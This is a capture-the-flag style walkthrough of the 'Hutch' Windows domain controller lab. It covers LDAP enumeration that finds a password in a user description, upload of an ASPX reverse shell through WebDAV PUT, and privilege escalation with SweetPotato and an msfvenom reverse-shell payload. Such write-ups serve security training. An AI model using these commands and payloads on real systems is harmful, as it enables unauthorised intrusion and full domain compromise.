

# Hutch (Curl file upload, Sweetpotato for privesc )

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## Nmap

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*# Basic nmap scan*

PORT	STATE	SERVICE
53/tcp	open	domain
80/tcp	open	http
88/tcp	open	kerberos-sec
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
389/tcp	open	ldap
445/tcp	open	microsoft-ds
464/tcp	open	kpasswd5
593/tcp	open	http-rpc-epmap
636/tcp	open	ldapssl
3268/tcp	open	globalcatLDAP
3269/tcp	open	globalcatLDAPssl

## Nmap automator output

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
80/tcp	open	http	Microsoft IIS httpd 10.0

|\_http-server-header: Microsoft-IIS/10.0  
|\_http-title: IIS Windows Server  
| http-webdav-scan:  
| Server Date: Sat, 29 Oct 2022 18:04:29 GMT  
| Server Type: Microsoft-IIS/10.0  
| Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK  
| WebDAV type: Unknown  
|\_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK  
| http-methods:  
|\_ Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT

```
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-29
18:04:25Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
hutch.offsec0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
hutch.offsec0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Host script results:

```
|_clock-skew: -26s
| smb2-time:
|   date: 2022-10-29T18:04:34
|_ start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
```

## AD enumeration with ADenum.py

Script found at <https://github.com/SecuProject/ADenum>

Using crackmap exec, we can grab the domain name and begin enumeration.

```
crackmapexec smb 192.168.236.122 -u 'anonymous' -p 'anonymous' --shares
```

```
(root@kali) - [~/pg/practice/Hutch]
# crackmapexec smb 192.168.236.122 -u 'anonymous' -p 'anonymous' --shares
SMB 192.168.236.122 445 HUTCHDC [*] Windows 10.0 Build 17763 x64 (name:HUTCHDC) (domain:hutch.offsec) (signing:True) (SMBv1:False)
SMB 192.168.236.122 445 HUTCHDC [-] hutch.offsec\anonymous:anonymous STATUS_LOGON_FAILURE
```

We get a login failure but we get the domain name `hutch.offsec`

Add this to your hosts file and run the ADenum script for further enumeration.

```
python3 ADenum.py -d hutch.offsec
```

```
(root@kali) - [~/Tools/ADenum]
# python3 ADenum.py -d hutch.offsec

AD ENUM

[*] Domain name: hutch.offsec
[*] Username: Anonymous
[*] IP Address: 192.168.236.122
[*] SSL connect: FALSE

[+] Successfully Authenticated With LDAP

=====
Enum LDAP
=====
```

We find a list of users with a password in a user's description.

```
[-] Users with Password Not Expire
[*] Username: Guest CN=Guest,CN=Users,DC=hutch,DC=offsec
[*] Username: fmcsorley CN=Freddy McSorley,CN=Users,DC=hutch,DC=offsec

[-] Users with old password
[!] Username: rplacidi Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: opatry Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: ltaunton Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: acostello Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: jsparwell Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: oknee Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: jmckendry Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: avictoria Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: jfrarey Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: eaburrow Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: cluddy Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: agitthouse Password last change: 724 days ago 2020-11-04 05:35:05
[!] Username: fmcsorley Password last change: 724 days ago 2020-11-04 05:35:05

[-] Users with an interesting description
[*] Username: fmcsorley Password set to CrabSharkJellyfish192 at user's request. Please change on next login.
```

[\*] Username: fmcsorley Password set to CrabSharkJellyfish192 at user's request. Please change on next login.

Password for fmcsorley:CrabSharkJellyfish192

We can verify the credentials with crackmap exec

```
crackmapexec smb 192.168.236.122 -u 'fmcsorley' -p 'CrabSharkJellyfish192' --shares
```

```
(root@kali) - [~/Tools/Adenum]
# crackmapexec smb 192.168.236.122 -u 'fmcSorley' -p 'CrabSharkJellyfish192' --shares
SMB      192.168.236.122 445 HUTCHDC [*] Windows 10.0 Build 17763 x64 (name:HUTCHDC) (domain:offsec) (signing:True) (SMBv1:False)
ch.offsec)
SMB      192.168.236.122 445 HUTCHDC [+] hutch.offsec\fmcSorley:CrabSharkJellyfish192
SMB      192.168.236.122 445 HUTCHDC [+] Enumerated shares
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
SMB      192.168.236.122 445 HUTCHDC
```

Share	Permissions	Remark
ADMIN\$		Remote Admin
C\$		Default share
IPC\$	READ	Remote IPC
NETLOGON	READ	Logon server share
SYSVOL	READ	Logon server share

After attempting to winrm to the machine and brute force other users with no success, lets turn to the webpage.

# Nikto scan

Our nikto scan of the webpage gives us some interesting information.

```

└─(root@kali)-[~/pg/practice/Hutch]
└─# nikto -h 192.168.249.122
- Nikto v2.1.6

-----
+ Target IP:          192.168.249.122
+ Target Hostname:    192.168.249.122
+ Target Port:        80
+ Start Time:         2022-11-01 19:33:17 (GMT-4)

-----
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Retrieved dav header: 1,2,3
+ Retrieved ms-author-via header: DAV
+ Uncommon header 'ms-author-via' found, with contents: DAV
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH,
MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save
files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove
files on the web server.

```

- + OSVDB-5647: HTTP method ('Allow' Header): 'MOVE' may allow clients to change file locations on the web server.
- + Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
- + OSVDB-397: HTTP method ('Public' Header): 'PUT' method could allow clients to save files on the web server.
- + OSVDB-5646: HTTP method ('Public' Header): 'DELETE' may allow clients to remove files on the web server.
- + OSVDB-5647: HTTP method ('Public' Header): 'MOVE' may allow clients to change file locations on the web server.
- + WebDAV enabled (UNLOCK MKCOL PROPFIND PROPPATCH COPY LOCK listed as allowed)

After further enumeration with gobuster, we still find nothing so I decided to do some research about IIS file uploads with curl since the POST method is allowed.

<https://everything.curl.dev/usingcurl/uploads>

Lets download a reverse aspx shell from <https://github.com/borjnz/aspx-reverse-shell/blob/master/>

Change the address to suite your target/host.

```
10
11     protected void Page_Load(object sender, EventArgs e)
12     {
13         String host = "192.168.49.249"; //CHANGE THIS
14         int port = 443; ////CHANGE THIS
15
16         CallbackShell(host, port);
17     }
```

## PUT

HTTP PUT is the upload method that was designed to send a complete resource meant to be put as-is on the remote site or even replace an existing resource there. That said, this is also the least used upload method for HTTP on the web today and lots, if not most, web servers do not even have PUT enabled.

You send off an HTTP upload using the -T option with the file to upload:

```
curl -T uploadthis http://example.com/
```

Lets try and upload it with the command below.

```
└─(root@kali)-[~/pg/practice/Hutch]
└─# curl -T shell.aspx http://192.168.249.122/
```

We get an intresting error response that claims we are unathroized.

```

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-
serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",
Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-
top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
  <div class="content-container"><fieldset>
    <h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
    <h3>You do not have permission to view this directory or page using the
credentials that you supplied.</h3>
  </fieldset></div>
</div>
</body>
</html>

```


Now lets modify our command to include the compromised credntials we have.

```

└─(root@kali)-[~/pg/practice/Hutch]
└─# curl -T shell.aspx http://192.168.249.122/ -u fmcSorley:CrabSharkJellyfish192

```

Now lets browse to our shell after starting our listener and see if we get a call back.



Success!

```
(root@kali) - [~/pg/practice/Hutch]
# nc -lvp 443
listening on [any] 443 ...
connect to [192.168.49.249] from (UNKNOWN) [192.168.249.122] 50281
Spawn Shell...
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>
```

## Privesc

We are running as the IIS user with service level permissions.

```
C:\Windows\Temp>whoami /all
whoami /all

USER INFORMATION
-----

User Name                               SID
=====
=====
iis apppool\defaultappool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

GROUP INFORMATION
-----

Group Name                               Type                               SID                               Attributes
=====
=====
Mandatory Label\High Mandatory Level    Label                               S-1-16-12288
```

Everyone group, Enabled by default, Enabled group	Well-known group	S-1-1-0	Mandatory
BUILTIN\Pre-Windows 2000 Compatible Access group, Enabled by default, Enabled group	Alias	S-1-5-32-554	Mandatory
BUILTIN\Users group, Enabled by default, Enabled group	Alias	S-1-5-32-545	Mandatory
NT AUTHORITY\SERVICE group, Enabled by default, Enabled group	Well-known group	S-1-5-6	Mandatory
CONSOLE LOGON group, Enabled by default, Enabled group	Well-known group	S-1-2-1	Mandatory
NT AUTHORITY\Authenticated Users group, Enabled by default, Enabled group	Well-known group	S-1-5-11	Mandatory
NT AUTHORITY\This Organization group, Enabled by default, Enabled group	Well-known group	S-1-5-15	Mandatory
BUILTIN\IIS_IUSRS group, Enabled by default, Enabled group	Alias	S-1-5-32-568	Mandatory
LOCAL group, Enabled by default, Enabled group	Well-known group	S-1-2-0	Mandatory
group, Enabled by default, Enabled group	Unknown SID type	S-1-5-82-0	Mandatory

## PRIVILEGES INFORMATION

-----

Privilege Name	Description	State
=====	=====	=====
SeAssignPrimaryTokenPrivilege	Replace a process level token	Disabled
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabled
SeMachineAccountPrivilege	Add workstations to domain	Disabled
SeAuditPrivilege	Generate security audits	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

Notice that we have the `SeImpersonatePrivilege`



Privilege Name	Description	State
SeAssignPrimaryTokenPrivilege	Replace a process level token	Disabled
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabled
SeMachineAccountPrivilege	Add workstations to domain	Disabled
SeAuditPrivilege	Generate security audits	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

Running `systeminfo` we discover that the machine is running Server 2019 10.0.17763 N/A Build 17763

This build is 1809 and is vulnerable to the SweetPotato exploit

► Version 1809 (OS build 17763)

[https://jlajara.gitlab.io/Potatoes\\_Windows\\_Privesc#sweetPotato](https://jlajara.gitlab.io/Potatoes_Windows_Privesc#sweetPotato)

Download a binary of Sweetpotato and upload it to the target machine.

You can use netcat as a reverse shell but I used msfvenom to generate a exe to run with the Sweetpotato exploit.

```
msfvenom -p windows/shell_reverse_tcp -f exe -o shell1.exe LHOST=192.168.49.249
LPORT=443
```

Now run the Sweetpotato.exe with your reverse shell of choice.

```
SweetPotato.exe -p shell1.exe
```

```
C:\Windows\Temp>SweetPotato.exe -p shell1.exe
SweetPotato.exe -p shell1.exe
Modifying SweetPotato by Uknow to support webshell
Github: https://github.com/uknowsec/SweetPotato
SweetPotato by @EthicalChaos
  Original RottenPotato code and exploit by @foxglovesec
  Weaponized JuciyPotato by @decoder it and @Guitro along with BITS WinRM discovery
  PrintSpoofer discovery and original exploit by @itm4n
[+] Attempting NP impersonation using method PrintSpoofer to launch shell1.exe
[+] Triggering notification on evil PIPE \\hutchdc/pipe/011451a9-8a4d-4db5-b413-d1e769f58338
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] CreatePipe success
[+] process with pid: 932 created.
```

The exploit impersonates privileges and spawns an elevated process which returns us with an elevated shell.

```
(root@kali)-[~/pg/practice/Hutch]
# nc -lvp 443
listening on [any] 443 ...
connect to [192.168.49.249] from (UNKNOWN) [192.168.249.122] 51186
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
hutch\hutchdc$

C:\Windows\system32>
```

We now have full privileges and can read the Administrator directory

Group Name	Type	SID
BUILTIN\Administrators	Alias	S-1-5-32-544
Everyone	Well-known group	S-1-1-0
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554
BUILTIN\Users	Alias	S-1-5-32-545
BUILTIN\Windows Authorization Access Group	Alias	S-1-5-32-560
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11
NT AUTHORITY\This Organization	Well-known group	S-1-5-15
HUTCH\HUTCHDC\$	User	S-1-5-21-2216925765-458455009-2806096489-1000
HUTCH\Domain Controllers	Group	S-1-5-21-2216925765-458455009-2806096489-516
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS	Well-known group	S-1-5-9
Authentication authority asserted identity	Well-known group	S-1-18-1
HUTCH\Denied RODC Password Replication Group	Alias	S-1-5-21-2216925765-458455009-2806096489-572
Mandatory Label\System Mandatory Level	Label	S-1-16-16384

PRIVILEGES INFORMATION		
Privilege Name	Description	State
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Enabled
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeSecurityPrivilege	Manage auditing and security log	Enabled
SeTakeOwnershipPrivilege	Take ownership of files or other objects	Enabled
SeLoadDriverPrivilege	Load and unload device drivers	Enabled
SeSystemProfilePrivilege	Profile system performance	Enabled
SeSystemtimePrivilege	Change the system time	Enabled
SeProfileSingleProcessPrivilege	Profile single process	Enabled
SeIncreaseBasePriorityPrivilege	Increase scheduling priority	Enabled
SeCreatePagefilePrivilege	Create a pagefile	Enabled
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeDebugPrivilege	Debug programs	Enabled
SeSystemEnvironmentPrivilege	Modify firmware environment values	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeRemoteShutdownPrivilege	Force shutdown from a remote system	Enabled
SeUndockPrivilege	Remove computer from docking station	Enabled
SeEnableDelegationPrivilege	Enable computer and user accounts to be trusted for delegation	Enabled
SeManageVolumePrivilege	Perform volume maintenance tasks	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled
SeTimeZonePrivilege	Change the time zone	Enabled
SeCreateSymbolicLinkPrivilege	Create symbolic links	Enabled
SeDelegateSessionUserImpersonatePrivilege	Obtain an impersonation token for another user in the same session	Enabled

ERROR: Unable to get user claims information.

Directory of C:\Users\Administrator\Desktop

```
11/08/2020  06:32 PM    <DIR>          .
11/08/2020  06:32 PM    <DIR>          ..
11/01/2022  04:31 PM                34 proof.txt
           1 File(s)                34 bytes
           2 Dir(s) 14,114,607,104 bytes free
```

C:\Users\Administrator\Desktop>